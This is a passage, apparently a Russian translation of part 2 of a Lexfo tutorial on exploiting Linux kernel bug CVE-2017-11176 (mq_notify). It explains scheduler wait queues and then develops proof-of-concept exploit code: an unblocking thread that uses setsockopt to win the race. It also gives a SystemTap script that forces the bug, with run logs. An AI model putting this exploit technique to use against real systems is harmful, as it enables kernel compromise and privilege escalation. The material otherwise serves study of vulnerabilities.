Автор: Lexfo
Введение
В первой части был проведен детальный анализ уязвимости CVE‑2017‑11176 («mq_notify:
double sock_put()») и намечен сценарий атаки.
При помощи утилиты System Tap мы смогли воспроизвести проблему
из пространства ядра и разработали первую версию эксплоита, где мы пока смогли
только добраться до уязвимого кода.
Чтобы уязвимость сработала, необходимо выполнение трех
условий, соответствия которым нам удалось добиться:
1. Возвращение
функцией netlink_attachskb() значения 1.
2. Разблокировка
потока эксплоита.
3. Возвращение
во втором вызове функции fget() значения NULL.
В этой статье мы не будем использовать System Tap для модификации ядра, а
попробуем реализовать все вышеуказанные требования в коде, запускаемым в пространстве
пользователя. К концу статьи у нас будет полностью готовый концептуальный код,
который устойчиво воспроизводит уязвимость.
Базовые концепции #2
В этой статье в разделе «Базовые концепции» будет рассмотрена
подсистема планирования. Вначале коснемся темы, связанной с состояниями задачи,
и как задача переходит между различными состояниями. Полный алгоритм
планировщика (Completely Fair Scheduler)
мы рассматривать не будем, а сфокусируемся на очередях ожидания, которые
будут использоваться для разблокировки потока и во время создания примитива
произвольного вызова (см. часть 3).
Состояние задачи
Текущее состояние задачи хранится в поле state структуры task_struct. В основном задача
находится в одном следующих состояний (которых на самом деле больше):
·
Running: процесс запущен или ожидает запуска в
процессоре.
·
Waiting: процесс находится спящем режиме или
ожидании события/ресурса.
Задача в состоянии running
(TASK_RUNNING) находится в очереди на запуск и может быть запущена процессором
прямо сейчас или в ближайшем будущем, если будет выбрана планировщиком.
Задача в состоянии waiting не
запущена ни в одном из процессоров, но может быть активирована при помощи
очередей ожидания или сигналов. Наиболее распространенное состояние для
ожидающих задач — TASK_INTERRUPTIBLE (то есть «спящий» режим может быть
прерван).
Константы, связанные с состоянием задач, объявлены здесь:
//
[include/linux/sched.h]
#define
TASK_RUNNING 0
#define
TASK_INTERRUPTIBLE 1
// … cut (other
states) …
Полем state, где хранится состояние
задачи, можно управлять напрямую или через вспомогательную функцию __set_current_state(), которая использует макрос current:
//
[include/linux/sched.h]
#define
__set_current_state(state_value)
do { current->state = (state_value); } while (0)
Очереди на запуск
Структура rq (run queue; очередь на
запуск) – одна из наиболее важных структур данных, используемых планировщиком.
Каждая задача, находящаяся в очереди на запуск, будет выполнена процессором. У
каждого процессора есть отдельная очередь на запуск, что позволяет реализовать
настоящую мультизадачность. В очередях на запуск находятся списки задач,
которые могут быть выбраны планировщиком для запуска в указанном процессоре.
Кроме того, в структуре rq хранится статистика,
используемая планировщиком для того, чтобы сделать «честный» выбор и
перераспределить нагрузку между процессорами.
// [kernel/sched.c]
struct rq {
unsigned long nr_running; // <—— statistics
u64 nr_switches; // <—— statistics
struct task_struct *curr; // <—— the current running task on
the cpu
// …
};
Примечание: На самом деле, в системе Completely Fair
Scheduler (CFS) хранение списка задач устроено чуть сложнее, но в нашем случае
сойдет концепция, описанная выше.
Чтобы не усложнять жизнь, условимся, что задачи, исключенные
из очереди на запуск, не будут запущены ни в одном процессоре. Функция
deactivate_task() вынимает задачу из очереди на запуск, функция activate_task()
– добавляет.
Блокировка задачи и функция schedule()
Когда задача перемещается из состояния запуска (running) в
состояние ожидания (waiting) происходит следующее:
1. Текущее
состояние задачи устанавливается как TASK_INTERRUPTIBLE.
2. Вызывается
deactivate_task(), и задача вынимается из очереди запуска.
На практике вместо deactivate_task() используется функция
schedule(), которая является главной в планировщике. При вызове schedule() в
процессоре должна быть выбрана следующая задача на запуск. Соответственно,
должно быть обновлено поле curr в очереди на запуск.
Однако если при вызове schedule() текущее состояние задачи не
является состоянием на запуск (то есть состояние отлично от нуля), и нет
никаких ожидаемых сигналов, будет вызвана функция deactivate_task():
asmlinkage void __sched
schedule(void)
{
struct task_struct *prev, *next;
unsigned long *switch_count;
struct rq *rq;
int cpu;
// … cut …
prev = rq->curr; // <—- «prev» is the task
running on the current CPU
if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) { // <—— ignore the
«preempt» stuff
if
(unlikely(signal_pending_state(prev->state, prev)))
prev->state = TASK_RUNNING;
else
deactivate_task(rq,
prev, DEQUEUE_SLEEP); // <—— task is moved out of run queue
switch_count
= &prev->nvcsw;
}
// … cut (choose the next task) …
}
Кроме того, задача может быть заблокирована:
void make_it_block(void)
{
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
Задача будет оставаться заблокированной пока не произойдет
разблокировка.
Очереди ожидания
Ожидание ресурса или особого события – довольно
распространенное явление. Например, если у вас запущен сервер, то главный поток
может ожидать входящие подключения. До тех пор, пока не будет пометки «не
заблокирован», системный вызов accept() блокирует главный поток.
Соответственно, главный поток находится в этом состоянии в ядре до тех пор,
пока не произойдет разблокировка.
Очередь ожидания представляет собой двухсвязный список
процессов, которые на данный момент заблокированы (находятся в состоянии
ожидания). Можно сказать, что очереди ожидания находятся в оппозиции к очередям
на запуск. Сама по себе очередь описывается структурой wait_queue_head_t:
//
[include/linux/wait.h]
typedef
struct __wait_queue_head
wait_queue_head_t;
struct __wait_queue_head {
spinlock_t lock;
struct list_head
task_list;
};
Примечание: структура list_head представляет собой
тип, используемый в Linux для реализации двухсвязных
списков.
Каждый элемент очереди ожидания имеет тип wait_queue_t:
// [include/linux.wait.h]
typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func; // <—— we will get back
to this
struct list_head task_list;
};
Элемент очереди ожидания можно создать при помощи макроса
DECLARE_WAITQUEUE():
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) {
.private = tsk,
.func = default_wake_function,
.task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk)
wait_queue_t name =
__WAITQUEUE_INITIALIZER(name, tsk) // <—— it creates a variable!
Который запускается так:
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <——
use the «current» macro
После объявления элемент очереди ожидания может быть
добавлен в очередь при помощи функции add_wait_queue(), которая добавляет этот
элемент в двухсвязный список с блокировкой (пока не будем касаться этой темы
сейчас).
// [kernel/wait.c]
void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;
wait->flags &= ~WQ_FLAG_EXCLUSIVE;
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, wait); // <—— here
spin_unlock_irqrestore(&q->lock, flags);
}
static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
list_add(&new->task_list, &head->task_list);
}
Вызов add_wait_queue() также называют «регистрацией в
очереди ожидания».
Активация задачи
Мы рассмотрели два вида очередей (очередь на запуск и очередь
ожидания) и отследили, что блокировка задачи эквивалентна изъятию из очереди на
запуск при помощи функции deactivate_task(). Теперь рассмотрим, как переключить
заблокированную (спящую) задачу в активное состояние.
Примечание: заблокированная задача активируется через
сигналы (или другими методами), но это тема выходит за рамки статьи.
Поскольку спящая задача больше не является запущенной, то не
может активировать саму себя. Активация происходит из другой задачи.
У структур данных, владеющих определенным ресурсом, есть
очередь ожидания. Когда задача хочет получить доступ к ресурсу, который не
доступен в данный момент, то эта задача может поместить себя в спящее
состояние, пока не будет активирована владельцем ресурса.
Чтобы задача вновь стала активной, когда ресурс становится
доступным, задачу нужно зарегистрировать в очереди ожидания ресурса. Как было
сказано выше, «регистрация» осуществляется при помощи функции add_wait_queue().
Когда ресурс становится доступным, владелец активирует одну
или несколько задач при помощи функции __wake_up(), чтобы эти задачи могли
продолжать выполнение.
// [kernel/sched.c]
/**
* __wake_up — wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake
up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory
barrier before
* changing the task state if and only if any tasks are woken up.
*/
void __wake_up(wait_queue_head_t *q, unsigned int mode,
int
nr_exclusive, void *key)
{
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, 0, key); // <—— here
spin_unlock_irqrestore(&q->lock, flags);
}
// [kernel/sched.c]
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int
nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
[0] list_for_each_entry_safe(curr,
next, &q->task_list, task_list) {
unsigned
flags = curr->flags;
[1] if (curr->func(curr, mode, wake_flags, key) &&
(flags
& WQ_FLAG_EXCLUSIVE) && !—nr_exclusive)
break;
}
}
Эта функция проходит по каждому элементу в очереди ожидания
[0] (list_for_each_entry_safe() – наиболее распространенный макрос, используемый
для работы с двухсвязными списками). Каждый элемент передается в обратный вызов
func() [1].
Упоминаемый ранее макрос DECLARE_WAITQUEUE() устанавливает в
качестве обратного вызова func функцию default_wake_function():
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) {
.private = tsk,
.func = default_wake_function, // <——
.task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk)
wait_queue_t name =
__WAITQUEUE_INITIALIZER(name, tsk)
В свою очередь, default_wake_function() вызывает функцию try_to_wake_up() через поле private элемента
очереди, который большую часть времени указывает на структуру task_struct
спящей задачи:
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags, void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}
Наконец, функция try_to_wake_up()
в некотором роде находится в «оппозиции» к функции schedule(), поскольку
schedule() делает текущую задачу спящей, а try_to_wake_up() – активной. Как
итог, после вызова try_to_wake_up() задача помещается в очередь на запуск и
меняется свое состояние!
static int try_to_wake_up(struct task_struct *p, unsigned int state,
int
wake_flags)
{
struct rq *rq;
// … cut (find the appropriate run
queue) …
out_activate:
schedstat_inc(p, se.nr_wakeups); // <—— update some stats
if (wake_flags & WF_SYNC)
schedstat_inc(p,
se.nr_wakeups_sync);
if (orig_cpu != cpu)
schedstat_inc(p,
se.nr_wakeups_migrate);
if (cpu == this_cpu)
schedstat_inc(p,
se.nr_wakeups_local);
else
schedstat_inc(p,
se.nr_wakeups_remote);
activate_task(rq, p, en_flags); // <—— put it back to
run queue!
success = 1;
p->state = TASK_RUNNING; // <—— the state has
changed!
// … cut
…
}
В коде выше, как и в некоторых других местах, вызывается
функция activate_task(). Поскольку теперь задача снова стала активной и
находится в очереди на запуск, то оказывается в состоянии TASK_RUNNING
и вновь получает возможность быть выбранной планировщиком и продолжить свое
выполнение с того момента, когда был вызов schedule().
На практике функция __wake_up() часто вызывается не
напрямую, а через следующие макросы:
// [include/linux/wait.h]
#define wake_up(x) __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr) __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x) __wake_up(x, TASK_NORMAL, 0, NULL)
#define wake_up_interruptible(x) __wake_up(x,
TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x,
TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x) __wake_up(x,
TASK_INTERRUPTIBLE, 0, NULL)
Полноценный пример
Рассмотрим простой пример, где подытоживаются все концепции,
описанные выше:
struct resource_a {
bool resource_is_ready;
wait_queue_head_t wq;
};
void task_0_wants_resource_a(struct resource_a *res)
{
if (!res->resource_is_ready) {
//
«register» to be woken up
DECLARE_WAITQUEUE(task0_wait_element,
current);
add_wait_queue(&res->wq, &task0_wait_element);
//
start sleeping
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
//
We’ll restart HERE once woken up
//
Remember to «unregister» from wait queue
}
// XXX: … do something with the
resource …
}
void task_1_makes_resource_available(struct resource_a *res)
{
res->resource_is_ready = true;
wake_up_interruptible_all(&res->wq); // <— unblock «task 0»
}
В первом потоке вызывается функция task_0_wants_resource_a(),
которая становится заблокированной, поскольку «ресурс» не доступен. В какой-то
момент владелец делает ресурс доступным (из другого потока) и вызывает функцию
task_1_makes_resource_available(), после чего может возобновить выполнение
функции task_0_wants_resource_a().
Подобную логику вы часто будете видеть в коде ядра, и теперь
понятна общая суть, которая заложена в эту схему. Обратите внимание, что термин
«ресурс» используется в общем смысле. Задача может ожидать события, выполнение
какого-либо условия или чего-то другого. Каждый раз, когда вы сталкиваетесь с
«заблокированным» системным вызовом, с высокой степенью вероятность вы имеете
дело с очередью ожидания.
Приступаем к реализации концептуального кода.
Разблокировка главного потока
В первой части мы столкнулись с различными проблемами, когда
пытались форсировать функцию netlink_attachskb() на возврат значения 1. Первая
проблема была связана с блокировкой системного вызова mq_notify(). Чтобы
избежать блокировки мы обошли вызов schedule_timeout(), а затем создали
бесконечный цикл. Чтобы прервать цикл мы удалили целевой файловый дескриптор из
таблицы файловых дескрипторов (FDT), что неожиданно привело к выполнению
последнего условия, когда второй вызов fget() вернул NULL. Все эти манипуляции были проделаны при помощи скрипта в
System Tap:
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
[0] sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
В этом разделе мы попробуем удалить строку [0], в которой в
поле sk_flags структуры sock устанавливается флаг SOCK_DEAD, и, соответственно, вызов
mq_notify() будет заблокирован вновь. Далее можно пойти двумя путями:
1. Восстановить
флаг SOCK_DEAD (как делается в скрипте).
2. Разблокировать
поток.
Контроль (и выигрыш) гонки
То, что главный поток заблокирован – нам на руку. С точки
зрения эксплуататора, мы получили нечто вроде подарка. Помните, как в описании
патча говорилось о «небольшом промежутке времени»? Не забыли про сценарий
атаки, который мы наметили?
Рисунок 1: Поток
выполнения системного вызова mq_notify, который приводит к появлению ошибки
use-after-free
Таким образом, в этом «небольшом промежутке» у нас есть
возможность вызвать функцию close(). Вспоминаем, что
вызов close() способствует тому, что fget()
вернет NULL. Этот небольшой промежуток начинается после
успешного первого вызова fget() и заканчивается перед
вторым вызовом fget(). В нашем сценарии вызов close() происходит после вызова netlink_attachskb(), однако в
скрипте, запускаемом в System Tap, мы лишь симулировали эту ситуацию и не вызывали close перед вызовом
netlink_attachskb().
Если мы обойдем вызов schedule_timeout(), промежуток времени
будет действительно небольшим. Когда мы работали в System Tap, эта проблема не стояла так остро,
поскольку мы меняли структуры ядра перед вызовом netlink_attachskb(). В
пространстве пользователя подобной «роскоши» у нас не будет.
С другой стороны, если мы поставим блокировку в середине
выполнения netlink_attachskb() и сможем сделать разблокировку, промежуток
времени становится настолько большим, насколько нам нужно. Другими словами, у
нас появляется возможность управлять условием гонки. Можно сказать, что
данный трюк схож с «точкой останова» внутри главного потока.
Теперь план атаки становится следующим:
Рисунок 2: Новый
сценарий атаки с блокировкой главного потока
Ну, хорошо. Трюк, связанный с блокировкой главного потока,
кажется, имеет право на жизнь, но теперь нужно придумать способ разблокировки.
Поиск кандидатов для разблокировки
Если вы не до конца поняли то, о чем рассказывается в
разделе «Базовые концепции #2», то настало время вернуться и перечитать. Далее
мы будем рассматривать тему, связанную с блокировкой в netlink_attachskb(), и
искать методы разблокировки.
Вновь смотрим содержимое netlink_attachskb():
// [net/netlink/af_netlink.c]
int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0] DECLARE_WAITQUEUE(wait,
current);
if (!*timeo) {
//
… cut (unreachable code from mq_notify) …
}
[1] __set_current_state(TASK_INTERRUPTIBLE);
[2] add_wait_queue(&nlk->wait, &wait);
[3] if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
[4] *timeo = schedule_timeout(*timeo);
[5] __set_current_state(TASK_RUNNING);
[6] remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);
if
(signal_pending(current))
{
kfree_skb(skb);
return
sock_intr_errno(*timeo);
}
return
1;
}
skb_set_owner_r(skb, sk);
return 0;
}
Многое в коде выше уже должно быть знакомым.
Комбинация вызовов __set_current_state(TASK_INTERRUPTIBLE) [1]
и schedule_timeout() [4] блокирует поток. Условие [3] – истинно, поскольку:
·
При помощи System Tap мы форсировали присвоение nlk‑>state |=
1.
·
Инструкция sock не
является «мертвой», поскольку мы удалили строку: sk‑>sk_flags |= (1 << SOCK_DEAD).
Примечание: вызов schedule_timeout(MAX_SCHEDULE_TIMEOUT) эквивалентен вызову schedule().
Как мы знаем, заблокированный поток может быть активирован,
если зарегистрирован в очереди ожидания. Эта регистрация делается в
строках [0] и [2]. Отмена регистрации происходит в строке [6]. Сама по себе
очередь ожидания находится в nlk‑>wait
и, соответственно, принадлежит объекту netlink_sock:
struct netlink_sock {
/* struct sock has to be the first
member of netlink_sock */
struct sock sk;
// … cut …
wait_queue_head_t wait; // <—— the wait queue
// … cut
…
};
То есть, можно сделать вывод, что разблокировка потока
(или потоков) находится в сфере ответственности объекта netlink_sock.
Очередь ожидания nlk‑>wait
используется в четырех местах:
1. __netlink_create().
2. netlink_release().
3. netlink_rcv_wake().
4. netlink_setsockopt().
Во время вызова __netlink_create() создается netlink-сокет и инициализируется пустая очередь ожидания при
помощи функции init_waitqueue_head().
Функция netlink_rcv_wake() вызывается в функции netlink_recvmsg()
и вызывает wake_up_interruptible(). Этот вызов имеет прямое отношение к первой причине
блокировки, которая возникает, когда буфер приема полон. Если netlink_recvmsg()
вызывается, значит, скорее всего, на данный момент в буфере приема есть
доступное место.
Функция netlink_release() вызывается, когда связанная
структура file готова к
освобождению (счетчик ссылок равен нулю). Эта функция вызывает wake_up_interruptible_all().
Наконец, функция netlink_setsockopt() вызывается в системном
вызове setsockopt(). Если переменная optname равна NETLINK_NO_ENOBUFS, тогда
вызывается wake_up_interruptible().
Таким образом, у нас есть три кандидата для активации потока
(__netlink_create() исключается, поскольку эта функция не предназначена для
активации/разблокировки чего-либо). При подборе кандидата нужно руководствоватьсяследующим критериями:
·
Путь до желаемой цели (в нашем случае – функции wake_up_interruptible())
должен быть как можно короче, поскольку чем короче путь, тем меньше проверок
нужно проходить.
·
Влияние/побочные эффекты на ядро сведены к минимуму (нет
выделения памяти, не затрагиваются другие структуры данных и т. д.).
Функция netlink_release() отпадает по причине того, что
нарушится механика эксплуатации уязвимости. В третьей части будет показано, что
структуру file, связанную со структурой sock, освобождать нельзя, поскольку в противном случае мы не
сможем спровоцировать ошибку use‑after‑free управляемым и
надежным способом.
Путь до функции netlink_rcv_wake() – наиболее сложен. Перед
тем как добраться до этого места из системного вызова recvmsg(), нужно пройти
несколько проверок внутри общесистемных функций, предназначенных для работы с
сокетами. Кроме того, здесь происходит выделение памяти и т. д. Дерево вызовов
выглядит следующим образом:
— SYSCALL_DEFINE3(recvmsg)
— __sys_recvmsg
— sock_recvmsg
— __sock_recvmsg
— __sock_recvmsg_nosec // calls sock->ops->recvmsg()
— netlink_recvmsg
— netlink_rcv_wake
— wake_up_interruptible
Дерево для системного вызова setsockopt()
выглядит намного проще:
— SYSCALL_DEFINE5(setsockopt) // calls
sock->ops->setsockopt()
— netlink_setsockopt()
— wake_up_interruptible
Переход к функции wake_up_interruptible() из системного
вызова setsockopt
В предыдущем разделе мы выяснили, что самый короткий путь до
функции wake_up_interruptible() – из системного вызова setsockopt. Проанализируем
проверки, которые нужно пройти:
// [net/socket.c]
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname, char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;
[0] if (optlen < 0)
return
-EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1] if (sock != NULL) {
err
= security_socket_setsockopt(sock,
level, optname);
[2] if (err)
goto
out_put;
[3] if (level == SOL_SOCKET)
err
= sock_setsockopt(sock, level,
optname, optval,
optlen);
else
err
=
[4] sock->ops->setsockopt(sock, level, optname, optval,
optlen);
out_put:
fput_light(sock->file, fput_needed);
}
return err;
}
Внутри системного вызова должны выполниться следующие
условия:
·
[0] – Переменная optlen больше или равна 0.
·
[1] – Переменная fd —
корректный сокет.
·
[2] – Модуль безопасности (LSM) позволяет
вызов setsockopt() для сокета.
·
[3] – Переменная level не равна SOL_SOCKET.
Если вышеуказанные проверки пройдены, будет вызвана функция netlink_setsockopt()
[4]:
// [net/netlink/af_netlink.c]
static int netlink_setsockopt(struct socket *sock, int level, int optname, char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;
[5] if (level != SOL_NETLINK)
return
-ENOPROTOOPT;
[6] if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
return
-EFAULT;
switch (optname) {
//
… cut (other options) …
[7] case NETLINK_NO_ENOBUFS:
[8] if (val) {
nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
clear_bit(0, &nlk->state);
[9] wake_up_interruptible(&nlk->wait);
} else
nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
err
= 0;
break;
default:
err
= -ENOPROTOOPT;
}
return err;
}
Дополнительные проверки:
·
[5] — Переменная level равна SOL_NETLINK.
·
[6] – Переменная optlen больше или равна sizeof(int),
а optval — участок памяти, доступный для чтения.
·
[7] – Переменная optname
равна NETLINK_NO_ENOBUFS.
·
[8] – Переменная val не
равна 0.
Если все эти проверки пройдены, будет вызвана функция wake_up_interruptible(),
которая активирует поток. Следующий сниппет отвечает за запуск этой функции:
int sock_fd
= _socket(AF_NETLINK,
SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
int val
= 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
Приступаем к интегрированию этого кода в наш эксплоит.
Обновление эксплоита
В предыдущем разделе был рассмотрен вызов wake_up_interruptible()
из пространства пользователя через системный вызов setsockopt(). Остался только
один вопрос: как запустить хоть что-то, если мы заблокированы. Ответ:
использовать несколько потоков!
Создадим новый поток с именем unblock_thread и обновим
эксплоит (компилируем с ключом «‑pthread»):
struct unblock_thread_arg
{
int fd;
bool is_ready; // we could use pthread’s barrier here
instead
};
static void*
unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the
unblock thread has been created
uta->is_ready = true;
// WARNING: the main thread *must*
directly call mq_notify() once notified!
sleep(5); // gives some time for the main thread
to block
printf(«[unblock] unblocking nown«);
if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror(«setsockopt»);
return NULL;
}
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
pthread_t tid;
struct unblock_thread_arg uta;
// … cut …
// initialize the unblock thread
arguments, and launch it
memset(&uta, 0, sizeof(uta));
uta.fd = sock_fd;
uta.is_ready = false;
printf(«creating unblock thread…n«);
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror(«pthread_create»);
goto
fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf(«unblocking thread has been created!n«);
printf(«get ready to blockn«);
if (_mq_notify((mqd_t)-1, &sigev))
{
perror(«mq_notify»);
goto
fail;
}
printf(«mq_notify succeedn«);
// … cut
…
}
Можно заметить, что мы вызываем sleep(5) и присваиваем
значение true полю uta‑>is_ready.
Рассмотрим, зачем нужны эти нововведения.
Вызов функции pthread_create() представляет собой запрос на
создание потока (т.е. создается новая структура task_struct) с последующим
запуском. Создание задачи не означает, что начнется выполнение прямо сейчас.
Чтобы поток начал работать, мы используем спинлок: uta‑>is_ready.
Примечание: Спинлоки представляют собой простейшие
формы (активных) блокировок в виде циклов, которые работают до тех пор, пока
состояние переменной не изменится. Блокировка является «активной», поскольку CPU используется на 99% в этот
период. В принципе можно использовать атомарные переменные, но в данном случае
эти переменные ни к чему, поскольку у нас только один «писатель» и один
«читатель».
Предупреждение: В следующих разделах будьте
внимательны с разблокировками, когда используются спинлоки, и разблокировками,
когда происходит активация.
Таким образом, главный поток заблокирован в цикле до тех
пор, пока не произойдет разблокировка через поток unblock_thread (полю is_ready будет
присвоено значение true). Схожий результат можно
получить при помощи барьера в pthread (который не всегда доступен). Обратите
внимание, что, хотя использование спинлоков дает нам «больше контроля» при
создании потока, но не является обязательным. Еще одна причина заключается в
том, что при создании задачи может выделяться много памяти, что не очень хорошо
для эксплоита. Наконец, очень схожая техника понадобится нам в третьей части,
поэтому сейчас мы не будем касаться этой темы.
С другой стороны, предположим, что после вызова
pthread_create() главный поток становится законсервированным на «длительный»
период. Тогда у нас получается следующий сценарий:
Рисунок 3:
Состояние потоков после вызова pthread_create()
В этом сценарии вызов setsockopt() происходит до блокировки mq_notify.
Таким образом, активация главного потока не произойдет. По этой причине используется
sleep(5) после разблокировки главного потока (когда полю is_ready присваивается
true). Другими словами, на «просто» вызов mq_notify() выделяется
5 секунд. Этого времени должно быть достаточно, поскольку:
·
Если через 5 секунд главный поток будет все еще законсервирован,
значит, целевая система находится под большими нагрузками, и эксплоит запускать
не следует.
·
Если новый поток «перегонит» главный (setsockopt() выполнится
раньше mq_notify()), мы всегда можем отослать команду CTRL+C, и функция netlink_attachskb()
вернет «‑ERESTARTSYS».
В этом случае активация уязвимости не произойдет, и можем повторно запустить
эксплоит.
Другими словами, на данный момент «управляемый промежуток
времени» равен 5 секундам. Может возникнуть мысль, что этот способ немножко
некрасивый, но проблема заключается в том, что главный поток не запущен и никак
не может оповестить другие потоки о том, что требуется активация (см. раздел
«Базовые концепции #2»). Возможно у потока unblock_thread есть варианты
получить нужную информацию каким-то образом, но, думаю, трюка, связанного с
вызовом sleep(5), вполне достаточно для нашего случая.
Обновление скриптов для System Tap
Перед запуском нового эксплоита, нужно отредактировать
скрипты, написанные для System Tap (см. первую часть). Мы удалим netlink-сокет
(fd=3) перед вызовом netlink_attachskb(). То есть теперь при вызове setsockopt()
после того, как мы оказались внутри netlink_attachskb(), файловый дескриптор sock_fd
будет некорректным (то есть в таблице дескрипторов будет указывать на NULL).
Таким образом, вызов setsockopt() завершится с ошибкой «Bad File Descriptor», и
мы не сможем даже добраться до функции netlink_setsockopt().
В скрипте ниже присваиваем элементу fd[3] значение NULL в таблице FDT во время возврата из функции netlink_attachskb() (но не
перед вызовом):
# mq_notify_force_crash.stp
#
# Run it with «stap -v -g ./mq_notify_force_crash.stp»
(guru mode)
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger_before:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
// NOTE: We do not mark the sock as DEAD anymore
%}
function force_trigger_after:long (arg_sock:long)
%{
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
probe kernel.function («netlink_attachskb»)
{
if (execname() == «exploit»)
{
force_trigger_before($sk);
}
}
probe kernel.function («netlink_attachskb»).return
{
if (execname() == «exploit»)
{
force_trigger_after(0);
}
}
Как обычно, собираем дополнительную информацию, чтобы
понимать, что происходит внутри кода. После запуска получаем следующее:
$
./exploit
-={ CVE-2017-11176 Exploit }=-
netlink
socket created = 3
creating unblock thread…
unblocking thread has been created!
get ready to block
<<< we get stuck here during ~5secs >>>
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
(15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
(15981-15981) [skb] <<== skb_put = ffff88000a015600
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = ffff8800314869c0
(15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
(15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
(15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 ti
meo=0xffff88000b157f40 ssk=0x0)
(15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
(15981-15981) [sched] ==>> schedule ()
(15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x
1)
(15981-15981) [sched] <<== deactivate_task =
<<< we get stuck here during ~5secs >>>
(15981-15981) [sched] <<== schedule =
(15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
(15981-15981) [netlink] <<== netlink_attachskb = 1 // <—— returned 1
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = 0 // <—— returned 0
(15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
(15981-15981) [netlink] <<== netlink_detachskb
(15981-15981) [SYSCALL] <<== mq_notify= -9
Примечания: чтобы улучшить удобочитаемость логов,
вызовы остальных потоков удалены.
Прекрасно! Мы задержались внутри netlink_attachskb() в
течение 5 секунд, сделали разблокировку из другого потока, после чего эта
функция вернула 1 (как мы и планировали)!
В этом разделе мы научились управлять «гонкой» и увеличивать
временной интервал до бесконечности (хотя было сделано ограничение до 5
секунд). Затем мы рассмотрели, как активировать главный поток при помощи setsockopt().
Кроме того, мы рассмотрели явление, связанное с появление «гонки» внутри
эксплоита, и простой трюк для уменьшения вероятности появления этого события. В
